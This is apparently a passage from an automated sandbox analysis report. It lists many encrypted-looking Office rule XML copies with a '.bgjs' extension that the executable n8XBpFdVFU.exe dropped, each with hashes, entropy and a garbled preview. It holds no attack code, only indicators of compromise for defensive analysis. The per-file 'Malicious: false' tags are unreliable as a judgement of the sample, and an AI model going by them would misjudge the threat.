SHA-512:	36DBC58E4735883A6C192B3EA964BFA51DC86EE2BD8CEDB0FA354BA06375144F42246C69B80C13285C705136F4909E1EA0A67757220B22865DFB6B1C4FC8D3A9
Malicious:	false
Preview:	<?xml.oE.c..t..1......L..k.O.&.0..D(.\|mPz.....&....iwa...]..2U..$.^...TB.;.i.....K...ey..l......8..L...8.."...F............T.-._..z.6......{..5.....DoJ"R.......4.v..iz.<.........<T...o...Y..b..<.8...J..-.CH.OC......Mk.k`.`Pn....I....F.....F...2;..Z.9.j6......CA.sr.v.JAg"%...b.r.-....R.a.9"....+U..`G!.E.....G............%...}.X...gG<....S.....7..&...P..1.....\|o1yDx..?j...(....^../n.<8...x....1.e..2....xkr..{.M.[..,/=....T..",Vja..o.@R...g&..i......Mu..A....F.m.....^/%[.0..BXO..%.6.~.Z.....c;c....Go....+..,.^...VD.Q.]....4._.p....\|..P..}.\|.v....qAF..<..m,&...x.AO.4.f.O.Dp.4..mv+..}I8...wC......5=....r..r......(...i4....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.750373741788949
Encrypted:	false
SSDEEP:	24:BrGkfgNMpHHOoSzTkP04bnjAjt2KQ/5LHykuH0m3ebD:BlfgNMZHOdD4bjA5jIrItsD
MD5:	C50756CB847BB26E4BC58FE3F449F6FB
SHA1:	87125E67506DE670BEAB8C1E4836D9DF7BE2869A
SHA-256:	6F18A1BEC7914FEA2EF2A54E0D5CC27A18B0F2CC0D0BAE15A75801CE86782D12
SHA-512:	3B4BCB92A047EE04B995CA9C6B61FDE2CAF4AF2976D5E92A2894CAA58BC1A1CAF3BC7471A327C5181E6904BB884B151AB14250C2273706DC06BB1A647C27711B
Malicious:	false
Preview:	<?xml.DCk..tHA....;...).._..2...\|v..s........F.\|..d....h.5.<bE.......~.R.G5+r.~....0..'H.T~]_...&...8N.......U.Z...E.6.@(0.d...j..G.xX.JD......Y.m]......?........=L.&w0...N......i..^M...7.=O.....mfVC..t.p....: ?....xWl...8....i.....N..6../......`..[C....j..i...S.P.......a..W..P.z..L.".g.-,..';E...&.a....h........ .s..J.......4...P..5n..U<.a..E.b...O...._......^.rMZ.:..../........"...If.?7..mM7b..t..\.7..;....6\|....qC....z.\|.s.s.lX...`...Ox..{:?.z.!.`..o.L..>Y0.u..x.D...t...-..C8..'.i..M......}...y..&.....!.c...\|Wh.......t.......^...By.N...C....Fu....Nd).Y)..N.e.._.$...n_jy....I.......3GU.........A..J.n~u(.M..X.w....oa....q\|..5.b...A8..j.P..*.8.I.,..u..[.t..7.Eu-&..f9....b'.g..[=.!...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.695432431905577
Encrypted:	false
SSDEEP:	12:qq/WsBxlfzVfnjSncm0/F5iYt4wx40ZAq0247q4L/fSXApAv01sOM+qI0ypvsINT:cYlf8cH/F5Hewx4UAT2Wq4L/YHrv+qI3
MD5:	63B79CD9407208C0C5F97105DAF32859
SHA1:	F7B9D81C43E71A0AB043A2890E5498E8787824A2
SHA-256:	1EC2398FA1ED19FD3C89144E6B3E9F6F415554998DFDFA3291FD77CD1D4D3546
SHA-512:	3568E6AFCFCB986B5B66E6CDCC96A169E3584023818AEE568B9F26C3562F752284065C8BE7890E0CE6A8D3BB99761A98D43A5357A5055CB2DB512348062867F3
Malicious:	false
Preview:	<?xml....9.Olf....7.EO.@.;...Ot...^e..~.:...\..L,r.......y...2Ix.@...'U.}.d.m'.......q}#~....pP.JP166H.B>(..3..b3.?T....8....56.^..BbH..\.&....<.a..QL..X.........v..A...A.X.J...1.3v..N...E...u..cg.9.x...e....Z<.T0.D..7.M7.\.l..c.H>.I.G?.P1q...:....z...F.u.G../G~..CW\...u...V..U..KLJ_.D..FZM....r.,)6..@i..o...r%C7..U........g..Q`..N...@..k...,k...p.Ks.0M..[..5.v..~2C..c..Su...+.:#.H...x..5I~.../l.Z....a..\.K.H..R.\|.].....D..(.Gvi..S........T.pT..3.\|./.DH+.$:.3............gl..Oj.u..N,.'".L..........\|.yd>A. b..rM.PJ=..v.{.b.&.1L.a8...I...n.i.].K.@nW+..G....N.t.4Zj.#....ewu..]Xk........=<?..'-......U...{.+I......{E...$.3.............BdSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.719461159857692
Encrypted:	false
SSDEEP:	24:8NBB0mbXjo3PhH02rx1C1xWlOe5jVHwxibD:87Bvjjo3BcAlOSJD
MD5:	1C2270B6CFF4154355FAB9586AE4D50A
SHA1:	8409CBBF165B04591EC4DA05D74843FB8C4B26EF
SHA-256:	DAB5C190F54DFEA0F32A40124C7DF4E6D952420AD243A5E8AFE9CA259E9B92CF
SHA-512:	3FE04B8FC13D49C206291BEFB725BCB480B2757CAC52ACB48198983CF40D3A76A52A00B75C05B86CB037EFBF1E5B3512D196FAE82C5AFB107F4CC8CB9B2B2CEB
Malicious:	false
Preview:	<?xml...?..~..&.@.p.{....R.....X#..C....I..h9..`..".0a+..#..L.c....$H0......-.m.f..tT.jK...!.l.......).)..l.]........a...%._.'...Y.~&%.{..o.B/.h....+..@.7y.u..../Z......?......R=....&...J.......HI<.....j\....nA.....t...D.../.w...w.E.......Ju`.F.F..A.B.?;....`d.t...1.6.g.....<z.D..C..b........`......x..2....".w...'...[..8.sw.4l.4<G3..".z.x\|...mlZ]j...vPR.aN.E{.0{.j.X.....d... .h.....%..U....C/y.t.B.#.MCP.5.in.?....`BD/.M.j1q....Oe.M...N...Y m.A&U8M..........l@YO..o..Y.H.\D.1.a.pDQ9p\|.6.%.3..z.&.....XD9X...x....t\|......-..b.P..yb.5@......K.c.......]...T`.0..V...0..... .....0.A.E....j.....x....]-..Z..z....}..<=...`......V......../....Z.r.C..W.. ...v.......`9v0.J..F]...~....<."...ip.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.741179826538457
Encrypted:	false
SSDEEP:	12:mtxVlPTfc5FOjWgh00wPc+ju7s+8++s/RgTRjnLYcJXkMa1YkM3z1+cii9a:mXo6j700wPc+juw+HqPYynaikqAbD
MD5:	1049CEE7C132715C693DF12E9C93F25B
SHA1:	AFC022C4AD0A252B5DDFDAA99DD57F08E4675DB1
SHA-256:	FFCD1E1037CF6F150F532E945CBEFEE15EC595F104A762054783E8A9C345F090
SHA-512:	BD77A2B2D8B56C54B922C6EF2C2216D96A6DC60E8B9315F66AA18E1519BAC8CA12F626367F9967A8181E41D874CC7EDFC5B750655447C021CEA26FC741EDD494
Malicious:	false
Preview:	<?xml..q.L....+>.mO:c.>....B.-....z~}oZ++W.~..a..6.*..!..,..a.....^..z..W.I..`.y...^..T.....i..2.7."....E...h.'l........{O..V%.J.D8..P./.....O....8.....B..%_...A^......h....y....5v,.5.B.f..-.qy......7...',...W.wM......V.%.......[.. M./.....[...{t.g.J].j.Oo..h."C}.>R3y.=.Y@...UN..(...Y..y.g..H..$2....C.v..{.C.0_..:k.7H....VN.....FL.=.YT...w....JJ..S.....%dTA..CQ..xt#y:.T.z...E.! .......[.P..l..X.dh.l...U.B.R..F+.{ .b.tX)H.....R...%t....`9..S.x.\| d.Y.q.T.D....2~.~.....G.P...\|........-.\|...%.;....q...(...td0.a_-..R..9\|f..@..Y..xk..$Rp...!...n.(..9.....z9..QM.7..../...%...L..........F.......'!...wuL.5.H.q........:..t..Ny...z\.zuA.4.r-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.750106095600803
Encrypted:	false
SSDEEP:	24:taTmd6hS3wBqT+A08d2DE2xOe2p/sn8WjbD:twmd6hS3cO+A08Mzce2p/M3D
MD5:	3723DEF91DC1546C19CE60A29CB6AEC0
SHA1:	22BF286EA2C009E816FCE09A6772887E6E123F56
SHA-256:	9F703496464789A52BC7F1181A1E486636168016311752A567EF27BFDF6827D5
SHA-512:	E6F86EBD974B668E5D9A66417B209E3E683F9934C974F879D25C8EC053A8B260C9107D91C1E89FA4920A449EAE5C5B6EFD8D9E6738A882403E34E3C4873D25C0
Malicious:	false
Preview:	<?xml....fZ.Z.....q'...d.9.........M.Z...2KJ.L..<.#q.s.\...M..q\|..\......Q.4X...WQ.\......3.JE..:.q.!v.mt7..`(Y.~.....<x{<#....1{..o...E.'.3....U.fX...\..v..x.2..5..^w.H..\.b........k...0'o...>6...F..9...E.}#P.."..6e....A.....M.........S..t......s.5>Z....Ru..q....Wz...u...D.3....Y.-J;{.$Q~.}i..R.ugt........]..Z.8.,.7..hm.6N....,..M0...r.Z.r&...CP-.g.hR"q..m...$"B....M-......:eU.N%...S....s!a..D.I...t...M?S....0..T8..7....zl!...f.X:..`.e.W?..o~E...6k.../).g"....8.....^..c..Ga.........I..d....Y...\|f:.!.....A ..Jg#.g.O.^.y.x.C(,"8.=eP......\|...y.......)@p....G..p.J....Dx.........+....Sqk+...Q.K...07..B..i...bP(S.D...}...,e......3S?._p..d.....d.d...U.9.p....lW.Y..`...Y.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.685479645816116
Encrypted:	false
SSDEEP:	12:c4GduJw5dHx3V2QZ8t//iKsCL+OkZ4GbUFFlLa6i9+M2igYUGIFXikdKLPHKo1+X:vGKwDp4QZU6KsT5KGb4La6szWpFykdOo
MD5:	DEB1BF7BE71E0AF4A1111C4437ACEB9C
SHA1:	CD98AAA733B76C96FB71D7D50208FE34F72B5952
SHA-256:	75ADBFC80CC02F1C61607D89DC20D2F6C9FC57D1E35409A03065BEA9D80FE7F5
SHA-512:	03CA8061AF420699E237DDC6871B0AD3D4D09AB1365F338C9DBE09FC827BE00B349640D6F1195B35FE4674BB68F28A087C615D540527AA26ADA21AF55D9DBEC0
Malicious:	false
Preview:	<?xmla$...1}..,.Zv;...x...1..y....K..UB.U..n.7b\.....}6.._.'.....m..L...........b...../o.Qx..{Y......,Z...X...UL.."..(..'A.B8....Y.-......`%.......].3.t.)fYx...f=.........8.m..^.U.1..D...5.....g...+.6....+K.2rv..,wpWF.!...g..q...Sc.......}......M.6.n!.....h....x.y..$..IB......&Gb.R..h....L!td.,6o.SR.g....}3.u.."...t\.8w......"...q(..'..G$....I.....k......~T.v.....-..d[\.b?-L..... .!...SM.<.7A..&..U+.Vh.....!..GZ8f...`.......I..{.f]V@j..a[I...X._.W..a,...B3U...(...~....W...1.....{$0.(.F.y..[q\..r.r..U7..[D..O..)\J..E....%../..A&...(t....f.......3*.\./:m..Vy9UR.4..F.$.._......$.a.`.L3[....z....)..(.i6.?.Gyw<G-j.q..b.).k\...>-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7190594837726
Encrypted:	false
SSDEEP:	24:HDAzw5QyoTbklF2acZ45jwmCMnRFQXkehvsbD:EpV8l4ao45jwsRcR5mD
MD5:	F9D91C1BE97D19E764B016238FB04B88
SHA1:	9FD295AD7B63827DC0D1EFBD47584CD20FB9EF81
SHA-256:	CE74C0D2CB44245834A6E1490E379F366065D238CB35C5D00EAB8D379E685DA3
SHA-512:	3B76AC41BB5FB07F29DD51C9D49642D764B180C846C681048ED10B424808B00DB245A7C82D12400D8973771D7B2FB09092A12174E016DDD47D558193AD66598B
Malicious:	false
Preview:	<?xml..c..>o.aT.J....l.VFc..k.j^..\|}.k.@j{;..].(..%...R..6..c.:+.R.L..u....yN..dA\..a...c...q.P......w.~TH.{.......W..Sh^.3n.\.n...!:..{\|1[...i2....b.uMe.....J^V:<T ...F....b...-..u.[-h]K..(...r.....P._v.D~.]..k.k.]..;....&....... 5.....M...o..t..&0...y..,~A.......F..Sk.~...\|.q.q.....c....E'\H...=.33....2`..\|.......?.,..+...&..T.w.1".....v...I........Sp.....\|O.i... ..\|v......z...x.0...Y....5..3..E......<.CSL..{....._I5..e....H..=..\H..V..............Z.~6.BU..:....p}."4........7m.9.X.....11^...... B...;(.f.L.I4:J..Lv..=..t...+3..z...K.)50C.*;..Y.....kD...._..$......+.H._..L7&5T..I^.....7.J?.{2Pn.K..@...V..\nw.......5^6...Y..[.F.jcjrE..D@...#."S...a...._.4R_.Ak..]c)/.B'~.P....5.f.R...rSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.734683450589195
Encrypted:	false
SSDEEP:	24:o09ShbZ+z6KddvT1dsLN9HGWiM1jh3VLNubD:x9y+zdt1dEmWB3hOD
MD5:	312FCC6908D75854505C9280C9E83B2C
SHA1:	6EED26E8FC7FB3A57AB7E77CDC3DE75E9F726B2C
SHA-256:	8E1B943B11F2937A1B311893273AA05CF3FCDBA4CC5D4B913D2044EA7323F831
SHA-512:	46ACED26FF1811E29846E0D0BA705E822898E72A43E8D98CFF0B67C70FCC39853C59A5CA2DD91AA5F075DA4853086BD9420494CE470D18BF448101F23E65B6F9
Malicious:	false
Preview:	<?xml.@..I.....3...(,Z2YMjk.-..._U......m..}...D...,L.......p.4.e...P..2.{.f...F.N..chi.F...!.....W.N..].2.....Z.\.1..K"[X....!y}...E..^..y..w.q...e.....O..\|^.Q..&.?.K....$S6}.D]TVgN.....[vG^...=. .Q8.D..~a.P..3.....8...v..7@.gxz.J.....=$e.E[s.)8@.......,.M;.k{r=v{.....N8...h..,a..;L.L..,%nff.B.o[.1.2....#..ZU..Y.Tr....&R..k...:...'.;.x.0~.i2Z....B..Na..ST....6..>.5'!..T..Pj.\|.Vhci..13D.d.#.;....F...o\.....\|.9?.K....t.....Jj...iK...J.){...k{.p.X.k.....5.RQ.#&..r.b...'....Z.L...Z....X..\|....5...g.v.`Ti..6.Y.k...{`......u..m;p6........y...UK..a.d./t,..z\|....8C....o.+..O.-.....}.7m...\..i....}-.6....e...{...@.`B..-,S..hlvs.;h/pb\..vE..i.tL.G"...u&....K.]G.n>n:..e.ar.z^.....<..5xn..1%.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.753269209876892
Encrypted:	false
SSDEEP:	12:lckuxBxW6nvDGBe5GfWbqivIQXl6AgiD7HWS+hy/3btEnm2CrHXWQHI1+cii9a:6kAfWEvDWe1vIQXl2lhMtEmjGQDbD
MD5:	A9415259527AA20BF5F6FA2FBF350CA5
SHA1:	980A1AFEC2CF28BBBC17009A7D5FB99E9E91790C
SHA-256:	E5A9569B2BDBA225EF3E0EF9F139E8FB855B4AD693079EF088A4305B07BBA8AD
SHA-512:	FA01EF0A75EBFD324AA07C117AF0F3AA7F334C078B3D3F28E321AFD9B8636FEDAA799C643F2B7C32BA6F13BE51A7545B317E68EDC8169C1E51E7DDE028B46AFF
Malicious:	false
Preview:	<?xml..I~..F..;..yR...Ok7s..x.?.....\.B)..!.pq.U...[%Ck.XpS..............K.!.....N....W9.E.....3.9?VO.......J.Q"i....]S..c4`...gX%P.......].!.j.tq.....?......J...4Y......CIN.\.7=..B....j.`.5+..].....q.R.h....^...Q../X.Bi.T\|..1..K......(Z.......]#.-p.sI.Wr.....c./..z.Q'...!.,...G.i..h...,..uL...;....\.... 0.WA..<E...J..t.n..... .......l.4L.l..Z.[..e..T.d<....P.w...P...O[...8L..S..m..)DwL.a.2....N.Q7...aU.).".......1...K.M\|.W.i.....+.4...B....}_..g.......?.P.!....t.\|x.....u....@.ta.h.n..]..^..J.$.....^...e.........'...MS3...4.h..7#...,..9E.+yl.....p.....9.B-H....l..4.b!.h..Z.`6..........y..R..RQ.w8...f.A.gtf.Kl....].C..;<..&t1..8^..[..L0..0%_^1........_...>..h...o..\B..z....8G.Wj.XB....uZ....SaSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.706026018439559
Encrypted:	false
SSDEEP:	12:Y3MaKUsfKLNS3W/hhVPpBgyI9/TlEm49hRxEPpb1wNW4lEkPtia0rI1qF3OI1+cq:YUUsiLg3Gt4yI9/hEm0zmrSnsprIQ+jX
MD5:	5AF6B116A84CBCC7286CDE4E04D23CE2
SHA1:	1004A7C821575C224058735E8E2560ED24EE58A3
SHA-256:	490B3D3FFE98E10755EE6CBC2A4A71A7E2C78DF377F168CED2ABA023B730A85C
SHA-512:	5668FBC6396B667D5D7634AB6501D24CE6D2221BFDF3EBFD2A64BAE0CF32C121FAB9FC70DC756A094176CA7DCB1990E4DDA684A5C7E3D6DF66F22999BDA886A2
Malicious:	false
Preview:	<?xml%.(.lJ@"0}.(.L..%.K..).~.f.j.^.V,.......:Dp.sB.x9.H..'..Z.x...@...P.\..3...SK.B.W..KT....Q..B..VE6.s`8.[.r..b..#WT...C.q....<8}.\|....iH4x&....D...H.R.y..il.....Y...j..!.S]..o./.\|.F..(.{w4..Y.K.../.=.m.z.i..[....'...S...P.\|..ig...7.k...0.=.'#.OK...O.....i.$W....V..TR..OF...o.......c.T.-.........".{...q...IW.r.1..@T.w.z..].`7.%...t{R.0...5..V.).n.#.....-....[]Z...$.,e...o3/..p...Z..KV2..H...}...juW,..C.>(........EL+...6...y#.Y9..(......G..~;.Bc.+K...LN.#.8(eO.n..D#....^.1./(...aw..NH.+.l..S.X0...d..n.QS..."^.:J...<\..I......h..3....6..].r...i..j9B0.l.?....2_.. ...-....^.(q.......?X.CB......igw....H.k...:.........T].3L..p.!....P..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.70965055143284
Encrypted:	false
SSDEEP:	12:mxMZHMZsaiNFLL+hy7SGPglNJYKvY7e7FgOQYz5lMtehlKFJrewTQmUf1+cii9a:YMZsaaKFew2+2WKAe77z5n28wTVFbD
MD5:	CE9619ACB31D52535DF725D97EFD8C75
SHA1:	97050FC82AFC90658624A9CABB42888F5A516FB6
SHA-256:	2C2B4A7D3F024112DAB6C18850234F3C1C2515EEFA87815FAF4ED364BF0A65D3
SHA-512:	E04CB1F73B636E812C4ECEB4AA8F1A6A47B4506A624DA2D555DDCA71E5224D7708E9641D9F3C31E05997409CDF59D5D36DF9AB7013D2CBC3B2BA2812BA5FE654
Malicious:	false
Preview:	<?xmlv,....@..O..`3}...l..Q4L......d....C,yz.D.C.&....jJ....9x;4.F......~m..:...7.vaT.......!.\|APe;@.Nx0`.vmd+.k......H>....uq]...GK.y\|..e!.W...[}2...#.j5....'.....<.r..)...w.=..EX....VSB.....i.d.d..A.k....;.6.#R...'.Q.M.LrB.ESP...i~...{C......=^..w.".[....#..........NQ..t]."v:.....q..X...\|B.9o.9!..NN..&...%.v.}y.E.^.3...e....u..\...e:+.s...V.).......4....6......~6.htB..8...H.:..%..yS..)..u.'.i...9'&idS.........t..O.O4A.i..1........t...o..g.R.(;.[.`X....0E...E..IK..x..........=...>gQ.(o.M...bF.. .Ti..:.. ..@....2..ew8.f...ZP....].~.Xse+.1....G........+...D.^..b.~.}O$......g.7...v2...?2....!,9.eD.@..N.}[.....-...P@$u0*..!...o:"....."5.\..wv.A.N..z..".....P.oi.X....nj.[...j;....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.69532372204028
Encrypted:	false
SSDEEP:	12:7x4/cS3QuqQCoikdGF++g74sSxoJ8JznEQI5UVxJsHaE8t08aA3XvH3UPG1+ciik:d4XqQ/iL04sSOJsI6EHsHEP9bD
MD5:	B4D063B9766D634FF9F70C24621D1568
SHA1:	9DA2544F9B5199A0BC4F3A69769FDC5A9B24A297
SHA-256:	8FA3ED3EB30A2A68C56093F714A59BDFF9FECA4C5297F87CA87AD8D1CDEF3C0A
SHA-512:	E6E3C80D7566D37DEA208086BEEA0C0BB6564B92928984939697B7C0565C9643FA7CF61E90F84A1A0407A365B1CC2E56A39DC4C987FAB730226198CB9D3AE61E
Malicious:	false
Preview:	<?xml...}. .z.t.C.@.A..\|fQ...&..vC{?.x..."\..H.=..`.gK.3 ...nx..]Q.$#......f......7...0.>...6...u.l...[.l'.pX%W.:6..OQ.......U<......E.F...YW~...%...3.....yQC....la-..,...`.=..O..DGD.k6Lz^6z.z..*....4......X.XDd...r]Z..6Q<u^Im...4#.,.....E.U<._....\|#}>.e+&...]..].m.........gw lrS........@.....OX....+...M.Z.E@.;P`Yv%..c[.$.rEES..O.:.\|..v..X.r.....z...n.'#p......]....1........D.e:....0.e.g..i.W)......`.sQ+<i6....85......=..T.Y..<.H...a.'1N~....n..`.....M...#...u&..<o..K..t!A.A.30...+.....\.<.6....0=P''..[.....Y..#6USu.<kj`. g..,o..A.,.0}.......;.,..q.ii.>.:u.XL.e..........a....D.{L............BX.D.N.27.S)H..p.;....u..........K..k#.......).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.748936406874505
Encrypted:	false
SSDEEP:	12:j3JzQU2A7n26Vlx405SPVeMZRJbZNSZ1/cwiwYePCNC+tCq+AnTL6lLxXAnU1+cq:KXA7fVTb5UowlZ0Z1hUrwjSLILxQvbD
MD5:	032E84B4A3E3F47BD65FDACE5CE8800A
SHA1:	C4DE8DC82E4FC1CA838086AC9482A236F46787C4
SHA-256:	CFA2732E914E839305309BB0B5332BE5DF04F94264F966D4A5B20BC163688D6A
SHA-512:	EDE3DAF35D5AE95071ACDB9AC2B9B6DE73F9D0152D2DDE281E8D39F281609532701124B7C5B050701271E9FA6DB5004CEDCA5D11868516AAC7D0767F83036756
Malicious:	false
Preview:	<?xml...#..y(.DE)......&R.R...0....p@..)c..:G.....U...0%..y.;o.`#..PWP.].M..tJ....bZ........ z.W....<.4.I..&.Zv.w..P.=.N0h..x...Dn..../...6.I.%.....F.?.q..4..2.e:.&..)...'0...h.l...H.c.0..r...%..u_./...i.t.i./...r.Z..A.GnQ....@.."..O...u...v!_;.V...".i........bG....}'..S.K....eU..t~..1V..AN..g.a.<..k.:..B..4..8.6l.b).@`T3.VX...x.r..K.W.f......S..V.`.)...<!.8....(.V..oE.....E}i6p.R.2........z..?..F"..n.UKYoD.V.;\|n./..T.$~.s...M.N..f1..].....wm..Y...L.Fi.t!.`.-4...g...Wm..&.P.RA..K.L..1L.#.M...>.~..1Q.i..{#.J...O......B2....B.H...i.p.=...Ou.O/3.b..e[../.N.V&m.=..nt......P.\...G6..n..{...p.._....>6...@9.X.8....z..&...BR..<....@.!S@{f....N..7.....#K.[..!..AP..m/M....R%.Z..8..v.Cd............d..17.Os;.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.710247901215157
Encrypted:	false
SSDEEP:	12:PBwovEaQa+qZuyi3vcwqNBwRaCGcqu2Yk5p/DOwSSRThHfTy/kE3RSupua1+ciik:ILhigGcV2lDOwSSpdLtE3RSuchbD
MD5:	406CBE89B41EF49D52A5E97B42B3627C
SHA1:	02AA9F082C92CD592803AC9A3FAA4C643E1FEA96
SHA-256:	E45A24D958E3081DC9C408FA140DA33C7718B67D704E922C520C34A2C82525EE
SHA-512:	EF9601FB22C0294C932B1661132C3D8FB538BA7D930CED30F1184B1CD12CDCF5FE168101B27A364FF0E8FFDBFFB6D1BC658627068D3A83E67172F6C4A490EB4C
Malicious:	false
Preview:	<?xml..vH9.E..uI:...%........u}8.0+.3}5.z_....+.egdN..7.t...@..9..(..9.4..........z.....O..f.:......p.:..Z.Y.....f.!.8..y.2<.jEj.._lU.~..HX^......-v...9.4F..x.Q.l.N.aV.R..^.z.6..NTO.z.U...M...+.... ....\|........2.a1...<....[ ].ii#-......a.A~r...$u+..mfT)..p..}...%.,..Y..P..?.._a.?..}../..\|...=[....0[......j.$.ku;..>..nT.~...a.k..Z..L....F.\|.@K=.._.BM.....~.W.y..%.m..T..............Gp...)..zA.cU!.C...G.:".7]."b.>adM.C.E .m]..b..k./....D?..N]..V..;.`K.....(M:4.........uN...@K..^...e.0.Hk..:....).u..Trl.L.1{L5].'..1....JF.v.X....S.t..<......T.#.r.r./i.1.'p(...."<.p,.7AR*...N...xT]......y.W....}.\@...Z.....V............SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.713850606527658
Encrypted:	false
SSDEEP:	24:/7AZtSn6eGj+kSwZxZgSbXib5p8ZkNceV9gSpPk81kkK5TDaLqobD:z821EzSwTCSb8T8ZYcHMPk81kDlaeyD
MD5:	CE452C844B6E36C2A4603C19F1CA837B
SHA1:	C9BB757932ACF1B34BE45A1A9361852F5CB6F970
SHA-256:	BD21CA41BFBABCCBE69384D9856F3CC217ED082E8BEF331369D6515E8F42E01C
SHA-512:	65AF2B71B45D535FBD5589BE57761DF2D06530F5913426FC291497687854F0F42AA3769307837FAFBBC69A39F4434CA5DE558B899F1468F55A2C687948AF8261
Malicious:	false
